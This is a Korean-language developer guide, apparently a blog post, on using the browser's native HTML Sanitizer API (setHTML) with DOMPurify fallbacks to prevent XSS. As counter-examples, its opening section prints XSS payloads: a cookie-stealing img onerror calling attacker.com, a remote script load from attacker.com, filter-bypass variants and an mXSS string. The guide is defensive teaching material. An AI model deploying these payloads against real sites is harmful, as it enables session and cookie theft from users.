🧹 HTML Sanitizer API 완벽 가이드: DOMPurify 없는 네이티브 XSS 방어와 안전한 HTML 렌더링

// ❌ 심각한 XSS 취약점 코드
const userInput = "<img src='x' onerror='fetch(\"https://attacker.com/steal?cookie=\" + document.cookie)'>";
targetElement.innerHTML = userInput; // 스크립트 실행으로 쿠키 탈취!

// ❌ DOM-based XSS 실무 위험 예시 (URL 파라미터를 그대로 innerHTML에 바인딩)
const params = new URLSearchParams(window.location.search);
const name = params.get("name"); // name=<svg onload=alert(document.cookie)>
document.getElementById("welcome-message").innerHTML = `안녕하세요, ${name}님!`;

// ❌ 잘못된 정규표현식 무해화 시도
function naiveSanitize(html) {
  return html.replace(/<script.*?>.*?<\/script>/gi, "");
}

// 💥 우회 가능한 공격 패턴들
const payload1 = `<script src="https://attacker.com/xss.js"></script>`; // 내부 텍스트가 없어 미치환
const payload2 = `<SCRIPT/SRC="data:text/javascript,alert(1)">`; // 공백 대신 슬래시 사용
const payload3 = `<img src=x onerror = "alert(1)">`; // script 태그 자체가 아님
const payload4 = `<svg/onload=alert(1)>`; // SVG 이벤트를 활용한 우회

<!-- mXSS 공격 패턴 예시: 파싱 및 재직렬화(Serialization) 과정에서의 변이 -->
<svg><style><g id="</style><img src=x onerror=alert(1)>">

// 🟢 브라우저 네이티브 방식을 활용한 XSS 안전 렌더링
const sanitizer = new Sanitizer();
targetElement.setHTML(userInput, { sanitizer });

[입력 문자열 (Untrusted String)]
          │
          ▼
[HTMLTokenizer (Blink/Gecko C++ Engine)]
  - HTML5 토큰화 규칙 적용
  - 네임스페이스(HTML, SVG, MathML) 태그 컨텍스트 바인딩
          │
          ▼
[Sanitizer Engine (Native Security Pass)]
  - Allowlist 기반 Element 검증 (Script, Frame, Object 등 즉시 탈락)
  - Inline Event Handler (on* 속성) 일체 제거
  - URI Protocol Check (javascript: 스킴 검출 시 속성 자체 삭제)
          │
          ▼
[DocumentFragment (Inert Element Node Creation)]
  - 메모리 내에서 실행 불가능한 불활성 노드 트리 생성
          │
          ▼
[Target Element Node.append()]
  - setHTML() 내부에서 안전하게 변환된 파서 결과물을 대상 DOM에 부착

// 1. 기본 옵션으로 Sanitizer 생성 (기본 활성화된 안전 기본값 사용)
const sanitizer = new Sanitizer();

// 2. 위험한 입력 문자열
const dirtyHTML = `
  <div>
    <h3>사용자 후기</h3>
    <p>제품이 매우 만족스럽습니다!</p>
    <script>alert('XSS 공격!');</script>
    <img src="invalid" onerror="alert('이미지 오프셋 공격')" />
    <a href="javascript:stealTokens()">상세보기</a>
  </div>
`;

// 3. targetElement에 안전하게 렌더링
const container = document.getElementById('review-container');
container.setHTML(dirtyHTML, { sanitizer });

<div>
  <h3>사용자 후기</h3>
  <p>제품이 매우 만족스럽습니다!</p>
  <img src="invalid">
  <a>상세보기</a>
</div>

// types/sanitizer.d.ts (표준 명세 기준 타입 확장 예시)
interface SanitizerConfig {
  allowElements?: string[];
  blockElements?: string[];
  dropElements?: string[];
  allowAttributes?: Record<string, string[]>;
  dropAttributes?: Record<string, string[]>;
  allowCustomElements?: boolean;
  allowComments?: boolean;
}

declare class Sanitizer {
  constructor(config?: SanitizerConfig);
}

interface SetHTMLOptions {
  sanitizer?: Sanitizer;
}

interface Element {
  setHTML(input: string, options?: SetHTMLOptions): void;
}

// 실제 TypeScript 파일에서의 안전한 사용 예시
const renderSafeContent = (target: HTMLElement, rawHtml: string): void => {
  if ('Sanitizer' in window && typeof target.setHTML === 'function') {
    const defaultSanitizer = new Sanitizer();
    target.setHTML(rawHtml, { sanitizer: defaultSanitizer });
  } else {
    console.warn('HTML Sanitizer API가 이 브라우저를 지원하지 않습니다.');
  }
};

// 블로그 포스트 및 리치 텍스트 렌더링을 위한 보안 세니타이저 구성
const blogContentSanitizer = new Sanitizer({
  // 1. 허용할 서식 및 구조 요소 지정
  allowElements: [
    'h1', 'h2', 'h3', 'h4', 'p', 'br', 'hr',
    'strong', 'b', 'em', 'i', 'u', 's',
    'ul', 'ol', 'li',
    'blockquote', 'code', 'pre',
    'table', 'thead', 'tbody', 'tr', 'th', 'td',
    'img', 'a'
  ],

  // 2. form, input 요소 등은 태그만 떼어내고 내용 텍스트는 보존
  blockElements: ['form', 'fieldset', 'legend'],

  // 3. style, template, iframe 등 보안 위험이 큰 태그는 자식 노드까지 완전 삭제
  dropElements: ['style', 'template', 'script', 'iframe', 'object', 'embed'],

  // 4. 속성 제어: 와일드카드 및 태그별 속성 격리
  allowAttributes: {
    'class': ['*'],                    // 모든 허용 요소에서 CSS 클래스 허용
    'title': ['*'],                    // 모든 허용 요소에서 툴팁 속성 허용
    'href': ['a'],                     // <a> 태그에서만 href 허용 (javascript: 은 자동 제거)
    'target': ['a'],                   // <a> 태그에서 target 속성 허용
    'src': ['img'],                    // <img> 태그에서만 src 허용
    'alt': ['img'],                    // <img> 태그 대체 텍스트 허용
    'width': ['img', 'table', 'td'],   // 너비 지정 속성 허용
    'height': ['img']                  // 높이 지정 속성 허용
  },

  // 5. 위험하거나 디자인 시스템을 해치는 인라인 스타일 완전 차단
  dropAttributes: {
    'style': ['*'],
    'onclick': ['*'] // 이벤트 핸들러는 명시적으로 한번 더 방어
  }
});

// 적용 예시
const userBlogEntry = `
  <div class="article-body">
    <h1>최신 기술 동향</h1>
    <p style="color: red;">이 문장은 빨간색입니다.</p>
    <script>console.log("공격 시도");</script>
    <a href="https://example.com" onclick="alert(1)">안전한 링크</a>
    <form><input type="text" value="폼 텍스트" />폼 내부 텍스트</form>
    <style>body { display: none; }</style>
  </div>
`;

const articleContainer = document.getElementById('article-view');
articleContainer.setHTML(userBlogEntry, { sanitizer: blogContentSanitizer });

<div class="article-body">
  <h1>최신 기술 동향</h1>
  <p>이 문장은 빨간색입니다.</p>
  <a href="https://example.com">안전한 링크</a>
  폼 내부 텍스트
</div>

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default myAppPolicy;

// ❌ Trusted Types CSP 환경에서 런타임 에러 발생 코드
// TypeError: Failed to set the 'innerHTML' property on 'Element': This document requires 'TrustedHTML' assignment.
targetElement.innerHTML = userInput;

[입력 데이터 (Untrusted String)]
          │
          ├─────────────────────────────────────────┐
          │ (기존 방식: Trusted Policy 필요)         │ (Sanitizer API 방식: Direct Integration)
          ▼                                         ▼
[window.trustedTypes.createPolicy()]       [element.setHTML(input, { sanitizer })]
  - 개발자가 직접 sanitization 로직 작성           - 브라우저 네이티브 무해화 자동 수행
  - TrustedHTML 객체 반환                          - Trusted Types Sink 검증 자동 통과
          │                                         │
          ▼                                         │
[element.innerHTML = trustedHTML]                  │
          │                                         │
          └────────────────────┬────────────────────┘
                               │
                               ▼
                    [안전한 DOM 트리 부착]

// 🟢 Sanitizer API를 활용한 Trusted Types 호환 코드
// 별도의 trustedTypes.createPolicy() 래퍼 없이 setHTML()을 호출하는 것만으로
// 브라우저는 이를 안전한 Trusted Sink 연산으로 간주합니다.
const sanitizer = new Sanitizer();
targetElement.setHTML(userInput, { sanitizer });

class SafeCommentBoard {
  #container;
  #sanitizer;

  constructor(containerElement) {
    this.#container = containerElement;
    
    // 댓글 전용 보안 세니타이저 셋업
    this.#sanitizer = new Sanitizer({
      allowElements: ['p', 'br', 'strong', 'em', 'a', 'span', 'code'],
      allowAttributes: {
        'href': ['a'],
        'target': ['a'],
        'class': ['span', 'code']
      }
    });
  }

  /**
   * 댓글 목록을 안전하게 렌더링
   * @param {Array<{id: string, author: string, contentHTML: string, createdAt: string}>} comments 
   */
  render(comments) {
    // 기존 컨테이너 비우기
    this.#container.replaceChildren();

    if (!comments || comments.length === 0) {
      const emptyMsg = document.createElement('p');
      emptyMsg.textContent = '작성된 댓글이 없습니다.';
      this.#container.appendChild(emptyMsg);
      return;
    }

    const fragment = document.createDocumentFragment();

    comments.forEach(comment => {
      const card = document.createElement('article');
      card.className = 'comment-card';
      card.dataset.commentId = comment.id;

      // 작성자 영역 (단순 텍스트 처리)
      const header = document.createElement('div');
      header.className = 'comment-header';
      
      const authorEl = document.createElement('strong');
      authorEl.textContent = comment.author; // textContent 사용으로 1차 방어
      
      const timeEl = document.createElement('time');
      timeEl.textContent = comment.createdAt;

      header.appendChild(authorEl);
      header.appendChild(timeEl);

      // 본문 영역 (Sanitizer API를 이용한 안전한 HTML 바인딩)
      const body = document.createElement('div');
      body.className = 'comment-body';
      
      // Feature Detection 기반 처리
      if ('Sanitizer' in window && typeof body.setHTML === 'function') {
        body.setHTML(comment.contentHTML, { sanitizer: this.#sanitizer });
      } else {
        // Fallback: Sanitizer API 미지원 환경 대응
        body.innerHTML = DOMPurify.sanitize(comment.contentHTML);
      }

      // 후처리: 외부 링크 보안 강화를 위한 rel="noopener noreferrer" 자동 부여
      const anchorList = body.querySelectorAll('a');
      anchorList.forEach(a => {
        if (a.hostname !== window.location.hostname) {
          a.target = '_blank';
          a.rel = 'noopener noreferrer';
        }
      });

      card.appendChild(header);
      card.appendChild(body);
      fragment.appendChild(card);
    });

    this.#container.appendChild(fragment);
  }
}

import { useEffect, useRef } from 'react';
import DOMPurify from 'dompurify';

interface UseSanitizedHTMLOptions {
  sanitizerConfig?: SanitizerConfig;
}

export function useSanitizedHTML(
  rawHTML: string,
  options?: UseSanitizedHTMLOptions
) {
  const containerRef = useRef<HTMLDivElement | null>(null);

  useEffect(() => {
    const el = containerRef.current;
    if (!el) return;

    // Browser Native Sanitizer API 체크
    if ('Sanitizer' in window && typeof el.setHTML === 'function') {
      try {
        const sanitizer = new Sanitizer(options?.sanitizerConfig);
        el.setHTML(rawHTML, { sanitizer });
      } catch (error) {
        console.error('Native Sanitizer execution failed, falling back:', error);
        el.innerHTML = DOMPurify.sanitize(rawHTML);
      }
    } else {
      // Legacy Browser Fallback
      el.innerHTML = DOMPurify.sanitize(rawHTML);
    }
  }, [rawHTML, options?.sanitizerConfig]);

  return containerRef;
}

// 💡 컴포넌트 사용 예시
export const SafeArticleViewer = ({ htmlContent }: { htmlContent: string }) => {
  const containerRef = useSanitizedHTML(htmlContent);

  return (
    <div className="article-wrapper">
      <h2>안전하게 렌더링된 게시글</h2>
      <div ref={containerRef} className="sanitized-content" />
    </div>
  );
};

[500KB 데이터 처리 시 JavaScript Heap Memory 할당량 비교]

1. DOMPurify (JavaScript AST 순회 및 직렬화):
   ├── V8 Heap Allocated : ~14.2 MB
   └── Major GC Occurrences : 4 회 발생 (Main Thread 일시 중단 유발)

2. HTML Sanitizer API (Native C++ Engine Handling):
   ├── V8 Heap Allocated : ~0.8 MB (JS 힙 할당 최소화)
   └── Major GC Occurrences : 0 회 (C++ 래퍼 객체 수준 메모리 관리)

// ❌ 위험한 커스텀 규칙 설정 사례
const dangerousSanitizer = new Sanitizer({
  allowElements: ['a', 'iframe'],
  allowAttributes: {
    'href': ['a'],
    'src': ['iframe'] // 💥 iframe src 속성을 허용하면 피싱 및 Malvertising에 노출됨
  }
});

<!-- ❌ 잘못된 적용 컨텍스트 1: HTML 속성 내부 주입 -->
<input type="text" value="userInputData">
<!-- 속성 내부 주입은 HTML Entity Encoding (e.g., &quot;) 방식으로 방어해야 함 -->

<!-- ❌ 잘못된 적용 컨텍스트 2: Script 태그 내부 주입 -->
<script>
  const userName = "userInputData"; // Sanitizer API로 방어 불가 (JS Escaping 필요)
</script>

// 커스텀 엘리먼트 허용 시 주의
const customElSanitizer = new Sanitizer({
  allowCustomElements: true // <user-card> 같은 커스텀 태그 허용
});
// ⚠️ 커스텀 엘리먼트 내부 수신 속성이나 내부 HTML 렌더링은 해당 컴포넌트 내부에서 별도로 setHTML을 수행해야 안전합니다.

// ❌ 런타임 에러 발생 위험 코드
element.setHTML(untrustedInput, { sanitizer }); // TypeError: element.setHTML is not a function

// 🟢 완전한 방어적 폴백 프로토타입 예시
function renderHTMLSafely(targetEl, rawHtml, sanitizerConfig) {
  if ('Sanitizer' in window && typeof Element.prototype.setHTML === 'function') {
    const sanitizer = new Sanitizer(sanitizerConfig);
    targetEl.setHTML(rawHtml, { sanitizer });
  } else if (typeof DOMPurify !== 'undefined') {
    // DOMPurify 폴백
    targetEl.innerHTML = DOMPurify.sanitize(rawHtml);
  } else {
    // 최악의 경우 pure text로 강제 낙하하여 XSS 원천 차단
    targetEl.textContent = rawHtml;
  }
}

// 🟢 순수 텍스트는 textContent 사용이 가장 안전하고 빠름
userNameElement.textContent = userData.name;